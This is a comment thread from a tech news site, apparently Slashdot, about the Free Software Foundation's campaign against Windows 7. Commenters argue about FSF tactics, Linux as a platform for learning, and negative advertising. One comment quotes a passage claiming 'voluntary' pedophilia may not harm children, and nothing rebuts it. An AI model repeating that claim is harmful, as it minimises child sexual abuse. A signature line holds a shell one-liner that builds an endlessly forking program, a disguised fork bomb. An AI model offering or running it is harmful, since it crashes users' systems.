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FSF Attacks Windows 7's "Sins" In New Campaign
CWmike writes "The Free Software Foundation today launched a campaign against Microsoft Corp.'s upcoming Windows 7 operating system, calling it 'treacherous computing' that stealthily takes away rights from users. At the Web site Windows7Sins.org, the Boston-based FSF lists the seven 'sins' that proprietary software such as Windows 7 commits against computer users. They include: Poisoning education, locking in users, abusing standards such as OpenDocument Format (ODF), leveraging monopolistic behavior, threatening user security, enforcing Digital Rights Management (DRM) at the request of entertainment companies concerned about movie and music piracy, and invading privacy. 'Windows, for some time now, has really been a DRM platform, restricting you from making copies of digital files,' said executive director Peter Brown. And if Microsoft's Trusted Computing technology were fully implemented the way the company would like, the vendor would have 'malicious and really complete control over your computer.'"
... I'm frankly getting sick of the FSF. This latest stupid campaign reads like it was written by some petulant teenager without the first clue as to the realities of life and it tars the rest of us who support (and in my case actually write) OSS with the same idiotic uncompromising brush.
Message to Stallman - close source will be around after you've retired from your cosy ivory tower paid-by-the-taxpayer college job so get over it, learn to live with it and stop making other OSS advocates look and sound like immature fools.
I really agree with this point. People learn Excel instead of spread sheets. The problem is, give them another spread sheet, or Excel with a new interface, and their world melts. But also it is a learning computers/programming question. I also think Windows is not as a nutritious platform to learn from. When I was growing up, computers where relatively open, or at least the Acorn was, nearly everything was a mix of BASIC and ARM code. The Acorn was itching to be programmed. A disproportion of programmers I have worked with cut their teeth on the Acorn as a child. Where are our replacements coming from? Uni? I think the problems of learning programming purely from the education system are well documented here, not saying they are all crap, but there is certainly no shortage of those that are. Very few Windows kids seem to come out programmers. Linux is even more nutritious platform, more so then platforms like the Acorn ever where. Not just because everything is open but because of its rich server heritage. The openness is not just in the source, but in documents and books explaining how parts work and why. There are no dark secrets and black boxes, everything is done in the open to those interested. I learnt more in the last few years of playing with Linux at home then I have in the last ten programming on Windows for a living. I think this is why Windows people fear the penguin, if all this is right, it means they are behind where they could be. The big thing I think Windows breaks is your understanding of filesystems. Explaining a virtual filesystem to a Windows (userland only) programmer can melt their mind, explaining the "proc" folder has done that at least a few times. Those who think filesystems don't matter, don't understand how powerful this simple abstraction is. They have never seen a device file, it's hidden from their world, they don't know it's all under their feet. Which goes back to Windows breaking your understanding of filesystems. My kids will be Linux kids and they will know more about computers because of it.
http://www.stallman.org/archives/2006-may-aug.html#05%20June%202006%20(Dutch%20paedophiles%20form%20political%20party)
Dutch pedophiles have formed a political party to campaign for legalization.
I am skeptical of the claim that voluntarily pedophilia harms children. The arguments that it causes harm seem to be based on cases which aren't voluntary, which are then stretched by parents who are horrified by the idea that their little baby is maturing.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
> we've seen time and time again that negativity just works
No, actually, it doesn't. Well, up to a certain point it does, but ultimately it is self-defeating.
If you pay attention to advertising campaigns and market share, you will note that there's a strong correlation between *positive* advertising campaigns and the ability to attain and retain first place in the market. Not that everybody who runs positive advertising get into first place, but rather the converse: just about everybody who gets into first place, and stays there, does so while running positive advertising.
Take, for example, the fast food industry. McDonald's runs positive advertising like nobody's business and has to my knowledge *never* run a negative ad, and none of their competitors can touch them. Burger King periodically runs negative ads (directed, usually, at McDonald's) and has slipped from second place to, what, fourth or fifth now? Taco Bell *stopped* running negative ads in the eighties, switched over to all positive ads, and climbed from Nth place right up to second. Yes, there are other factors. The advertising isn't the whole cause of any of the above. But the advertising is also a component.
You can see the same thing in political elections. When a campaign boils down to "the other guy sucks", it generally goes down in flames. Successful campaigns look more like "you need our candidate, for these simple positive bullet-point reasons". John Kerry compared himself (and his running mate) to the opposition, and he was defeated by 34 electoral votes. Obama talked about his vision, and he was elected. (There were other factors in both cases, of course. Lots of other factors. But the advertising was also a factor.) You can run through the whole history of all the US Presidential election campaigns, and you'll see that in general the positive campaigns have a much stronger tendency to win than the negative ones. Talking too much about the opposition is self-defeating.
We could look at any number of other industries, but let's bring it around to computers: up through the late nineties or so, Microsoft ran all positive advertisements, and their market share was on the increase. Then they started running negative ads, and their market share is on the decline now. (Granted, there wasn't a lot of room for it to increase further, since it peaked somewhere above 95% around the turn of the century.) Apple never learns: they keep running negative ads for Macs, and their market share languishes in the low single digits. (They have quite good market share in the music player market, but all the iPod advertising is positive.) Again, there are other factors. But inasmuch as the advertising is a driving force in market share dynamics, positive advertising is a positive driving force, and negative advertising traps you beneath a glass ceiling of your own making.
Cut that out, or I will ship you to Norilsk in a box.
I actually agree with your belief that positive campaigning trumps negative in the general case. However, I think some of your logic is wonky. You ignore the reasons why an entity will go to negative campaigning - i.e. they're being beaten. If you're on top, if you are the best, then you have a lot to be positive about and to sell yourself on. If someone is beating you on the positive, then you have much more pressure on you to try and undermine your opponent's strong points. Correlation and causation and all that cliché, but there may well be a case that losing pushing people towards negative. You can see that in the instances where campaigns don't go negative until they find they're at risk of losing.
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.